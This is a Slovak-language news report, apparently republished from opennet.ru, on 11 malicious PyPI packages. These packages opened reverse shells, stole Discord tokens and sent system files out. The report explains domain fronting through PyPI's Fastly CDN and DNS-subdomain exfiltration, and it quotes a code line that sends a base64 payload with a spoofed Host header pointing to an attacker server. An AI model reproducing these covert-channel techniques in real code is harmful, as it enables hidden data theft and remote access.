V katalógu PyPI boli zistené škodlivé knižnice, ktoré využívajú CDN PyPI na skrytie komunikačného kanála.

V katalógu PyPI (Python Package Index) bolo zistených 11 balíkov obsahujúcich škodlivý kód. Pred objavením problémov balíky stihli byť stiahnuté približne 38 tisíc krát. Zistené škodlivé balíky sú pozoruhodné svojimi zložitými metódami skrývania komunikačných kanálov so servermi útočníkov.

  • importantpackage (6305 stiahnutí), important-package (12897) — nadväzovali pripojenie na externý server pod zámienkou pripojenia na pypi.python.org na poskytnutie shell prístupu k systému (reverse shell) a na skrytie komunikačného kanála používali program trevorc2.
  • pptest (10001), ipboards (946) — využívali DNS ako komunikačný kanál na prenos informácií o systéme (v prvom balíku názov hostiteľa, pracovný adresár, interná a externá IP, v druhom — meno používateľa a hostiteľa).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) — zisťovali token služby Discord v systéme a odosielali ho na externý hostiteľ.
  • trrfab (287) — odosielal na externý hostiteľ identifikátor, názov hostiteľa a obsah /etc/passwd, /etc/hosts, /home.
  • 10Cent10 (490) — vytváral spätné shell pripojenie na externý hostiteľ.
  • yandex-yt (4183) — zobrazoval správu o kompromitácii systému a presmerovával na stránku s dodatočnými informáciami o ďalších krokoch, poskytovanou prostredníctvom nda.ya.ru (api.ya.cc).

Osobitnú pozornosť si zaslúži metóda prístupu k externým hostiteľom, ktorú využívali balíky importantpackage a important-package, ktoré na skrývanie svojej aktivity používali sieť na doručovanie obsahu Fastly, aplikovanú v katalógu PyPI. V skutočnosti boli požiadavky odosielané na server pypi.python.org (vrátane uvádzania názvu python.org v SNI v rámci HTTPS požiadavky), ale v HTTP hlavičke „Host“ bola nastavená adresa servera ovládaného útočníkmi (sec.forward.io.global.prod.fastly.net). Sieť na doručovanie obsahu smerovala takýto požiadavok na server útočníkov, pričom pri prenose údajov použila parametre TLS pripojenia s pypi.python.org.

Prevádzku infraštruktúry PyPI zabezpečuje sieť na doručovanie obsahu Fastly, v ktorom sa na caching typických požiadaviek používa transparentný proxy Varnish, a taktiež sa aplikuje spracovanie TLS certifikátov na úrovni CDN, a nie koncových serverov, na organizáciu prenosu HTTPS požiadaviek cez proxy. Bez ohľadu na cieľového hostiteľa sú požiadavky smerované do proxy, ktorá určuje potrebného hostiteľa podľa HTTP hlavičky „Host“, a doménové mená Hosty sú priradené k štandardným IP adresám vyrovnávacích mechanizmov CDN pre všetkých klientov spoločnosti Fastly.

Server útočníkov je tiež registrovaný v CDN Fastly, ktorý ponúka všetkým záujemcom bezplatné tarifné plány a dokonca umožňuje anonymnú registráciu. Zaujímavé je, že pri vytváraní „reverse shell“ sa na zasielanie požiadaviek obetiam používa aj schéma, ale iniciovaná zo strany hostiteľa útočníkov. Z pohľadu interakcie so serverom útočníkov to vyzerá ako legitímna relácia s adresárom PyPI, šifrovaná pomocou TLS-certifikátu PyPI. Takáto technika, známa ako „domain fronting“, sa predtým aktívne používala na skrytie mena hostiteľa pri obchádzaní blokácií, pričom využívala možnosť niektorých CDN sietí komunikovať cez HTTPS s fiktívnym hostiteľom uvedeným v SNI a skutočným prenosom názvu požadovaného hostiteľa v hlavičke HTTP Host v rámci TLS relácie.

V katalógu PyPI boli zistené škodlivé knižnice, ktoré využívajú CDN PyPI na skrytie komunikačného kanála.

Na skrytie škodlivej aktivity sa navyše používal balík TrevorC2, ktorý umožňuje, aby interakcia so serverom vyzerala ako bežná webová navigácia, napríklad škodlivé požiadavky sa zasielali pod zámienkou sťahovania obrázku „https://pypi.python.org/images/guid=“ s kódovaním informácií v parametri guid. url = „https://pypi.python.org“ + „/images“ + „?“ + „guid=“ + b64_payload r = request.Request(url, headers = {‘Host’: „psec.forward.io.global.prod.fastly.net“})

V balíkoch pptest a ipboards sa použil iný prístup na skrytie sieťovej aktivity, založený na kódovaní užitočných informácií v požiadavkách na DNS server. Škodlivý softvér prenáša informácie prostredníctvom DNS požiadaviek typu „nu4timjagq4fimbuhe.example.com“, v ktorých sú pomocou formátu base64 zakódované prenášané údaje na riadiaci server v názve subdomény. Útočník prijíma dáta správy, pričom kontroluje DNS server pre doménu example.com.

Zdroj: opennet.ru

Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster